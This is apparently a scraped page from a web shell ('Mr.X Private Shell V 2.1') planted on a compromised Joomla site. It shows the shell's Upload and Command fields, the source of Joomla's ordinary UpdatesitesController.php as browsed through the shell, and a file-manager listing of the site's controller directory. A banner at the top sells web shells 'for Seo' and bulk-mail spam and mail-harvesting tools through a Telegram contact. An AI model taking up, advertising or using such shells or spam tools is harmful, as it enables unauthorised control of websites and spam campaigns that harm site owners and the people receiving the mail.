__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Installer\Administrator\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\Input\Input;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Installer Update Sites Controller
 *
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 * @since       3.4
 */
class UpdatesitesController extends AdminController
{
    /**
     * The prefix to use with controller messages.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $text_prefix = 'COM_INSTALLER_UPDATESITES';

    /**
     * Constructor.
     *
     * @param   array                 $config   An optional associative array of configuration settings.
     * @param   ?MVCFactoryInterface  $factory  The factory.
     * @param   ?CMSApplication       $app      The Application for the dispatcher
     * @param   ?Input                $input    Input
     *
     * @since  1.6
     */
    public function __construct($config = [], ?MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        $this->registerTask('unpublish', 'publish');
        $this->registerTask('publish', 'publish');
        $this->registerTask('delete', 'delete');
        $this->registerTask('rebuild', 'rebuild');
    }

    /**
     * Proxy for getModel.
     *
     * @param   string  $name    The model name. Optional.
     * @param   string  $prefix  The class prefix. Optional.
     * @param   array   $config  The array of possible config values. Optional.
     *
     * @return  \Joomla\CMS\MVC\Model\BaseDatabaseModel
     *
     * @since   4.0.0
     */
    public function getModel($name = 'Updatesite', $prefix = 'Administrator', $config = ['ignore_request' => true])
    {
        return parent::getModel($name, $prefix, $config);
    }

    /**
     * Enable/Disable an extension (if supported).
     *
     * @return  void
     *
     * @since   3.4
     *
     * @throws  \Exception on error
     */
    public function publish()
    {
        // Check for request forgeries.
        $this->checkToken();

        $ids    = (array) $this->input->get('cid', [], 'int');
        $values = ['publish' => 1, 'unpublish' => 0];
        $task   = $this->getTask();
        $value  = ArrayHelper::getValue($values, $task, 0, 'int');

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        if (empty($ids)) {
            throw new \Exception(Text::_('COM_INSTALLER_ERROR_NO_UPDATESITES_SELECTED'), 500);
        }

        // Get the model.
        /** @var \Joomla\Component\Installer\Administrator\Model\UpdatesitesModel $model */
        $model = $this->getModel('Updatesites');

        // Change the state of the records.
        if (!$model->publish($ids, $value)) {
            throw new \Exception(implode('<br>', $model->getErrors()), 500);
        }

        $ntext = ($value == 0) ? 'COM_INSTALLER_N_UPDATESITES_UNPUBLISHED' : 'COM_INSTALLER_N_UPDATESITES_PUBLISHED';

        $this->setMessage(Text::plural($ntext, \count($ids)));

        $this->setRedirect(Route::_('index.php?option=com_installer&view=updatesites', false));
    }

    /**
     * Deletes an update site (if supported).
     *
     * @return  void
     *
     * @since   3.6
     *
     * @throws  \Exception on error
     */
    public function delete()
    {
        // Check for request forgeries.
        $this->checkToken();

        $ids = (array) $this->input->get('cid', [], 'int');

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        if (empty($ids)) {
            throw new \Exception(Text::_('COM_INSTALLER_ERROR_NO_UPDATESITES_SELECTED'), 500);
        }

        // Delete the records.
        $this->getModel('Updatesites')->delete($ids);

        $this->setRedirect(Route::_('index.php?option=com_installer&view=updatesites', false));
    }

    /**
     * Rebuild update sites tables.
     *
     * @return  void
     *
     * @since   3.6
     */
    public function rebuild()
    {
        // Check for request forgeries.
        $this->checkToken();

        // Rebuild the update sites.
        $this->getModel('Updatesites')->rebuild();

        $this->setRedirect(Route::_('index.php?option=com_installer&view=updatesites', false));
    }
}

Filemanager

Name Type Size Permission Actions
DatabaseController.php File 2.73 KB 0664
DiscoverController.php File 2.58 KB 0664
DisplayController.php File 2.97 KB 0664
InstallController.php File 3.33 KB 0664
ManageController.php File 5.3 KB 0664
UpdateController.php File 5.98 KB 0664
UpdatesiteController.php File 580 B 0664
UpdatesitesController.php File 4.71 KB 0664
Filemanager